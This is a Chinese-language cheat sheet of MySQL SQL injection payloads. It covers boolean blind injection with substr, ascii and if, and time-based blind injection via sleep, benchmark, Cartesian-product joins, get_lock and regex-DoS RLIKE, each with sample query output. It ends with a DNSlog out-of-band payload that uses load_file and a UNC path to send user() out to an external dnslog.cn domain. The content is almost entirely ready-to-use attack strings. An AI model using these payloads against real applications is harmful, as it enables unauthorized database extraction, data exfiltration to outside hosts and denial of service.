MySQL注入总结
布尔盲注
盲注一般先看长度
id=4 and length(user())=14
布尔盲注的方法
substr,substring,mid,left,right截取单个字符
id=4 and substr((select user()),1,1)=0x72
id=4 and left((select user()),1)=0x72
用ascii(),ord(),hex()编码单个字符
id=4 and ascii(substring((select user()) from 1 for 1))=114
id=4 and ord(mid((select user()),1,1))=114
id=4 and hex(right((select user()),1))=74
用if,ifnull,case when自由输出字符
id=4 and if(1=1,1,0)
id=4 and ifnull(1=1,0)
id=4 and (case when 1=1 then 1 else 0 end)
如果查询是空内容,同时传入两个值使其报错来构成布尔盲注
select null and 1=(case when 1=1 then (select 666) else (select 666 union select 667)end)
时间盲注
sleep函数
if(布尔盲注语句,sleep(5),1)
benchmark函数
简介
BENCHMARK(count,expr)函数
benchmark函数会重复计算expr表达式count次,所以我们可以尽可能多的增加计算的次数来增加时间延迟。
语句
and if((布尔盲注语句),BENCHMARK(10000000,md5('a')),1);
笛卡尔积函数
简介
所谓叠加全排列就是对多个表做笛卡尔积连接,使之查询时间呈指数增长,也就是说,攻击者将简单的表查询不断地叠加,不断增加系统执行sql语句的负荷,直到产生攻击者想要的时间延迟。为了防止表明重复可能导致不必要的错误,所以一般都会用表别名来区别
and if((布尔盲注语句),(笛卡尔积函数语句),1);
语句
mysql> select count(*) from information_schema.columns a,information_schema.columns b;
+----------+
| count(*) |
+----------+
| 774400 |
+----------+
1 row in set (0.20 sec)
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
+-----------+
| count(*) |
+-----------+
| 113101560 |
+-----------+
1 row in set (2.07 sec)
get_lock盲注
简介
对关键字进行了get_lock,那么再开另一个session再次对关键进行get_lock,就会延时我们指定的时间。此盲注手法有一些限制,就是必须要同时开两个SESSION进行注入。
GET_LOCK(str,timeout)
例子
SESSION A
mysql> select get_lock('rocky',5);
+---------------------+
| get_lock('rocky',5) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)
SESSION B
mysql> select get_lock('rocky',5);
+---------------------+
| get_lock('rocky',5) |
+---------------------+
| 0 |
+---------------------+
1 row in set (5.00 sec)
语句
and if((布尔盲注语句),GET_LOCK(str,timeout),1);
正则DOS RLIKE注入
简介
延时原理,利用SQL多次计算正则消耗计算资源产生延时效果,其实原理是和我们的benchmark注入差不多的。
语句
mysql> select * from flag where flag='1' and if(mid(user(),1,1)='s',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);
+------+
| flag |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
mysql> select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1);
Empty set (3.83 sec)
dnslog盲注
利用条件
1.必须windows系统(跟windows中unc路径原理有关,linux没有相关标准)
2.必须root权限
3.有文件读取权限及 secure-file-priv无值, show variables like ‘%secure%’
4.利用一个dnslog平台查看回显结果
注意遇到魔术引号拦截的场景。
语句
注:xxxx.dnslog.cn\\xxxx , \\xxxx可以是任意字符串,实际上不存在也行
load_file(concat('\\\\',(select user()),'.xxxx.dnslog.cn\\a.txt'))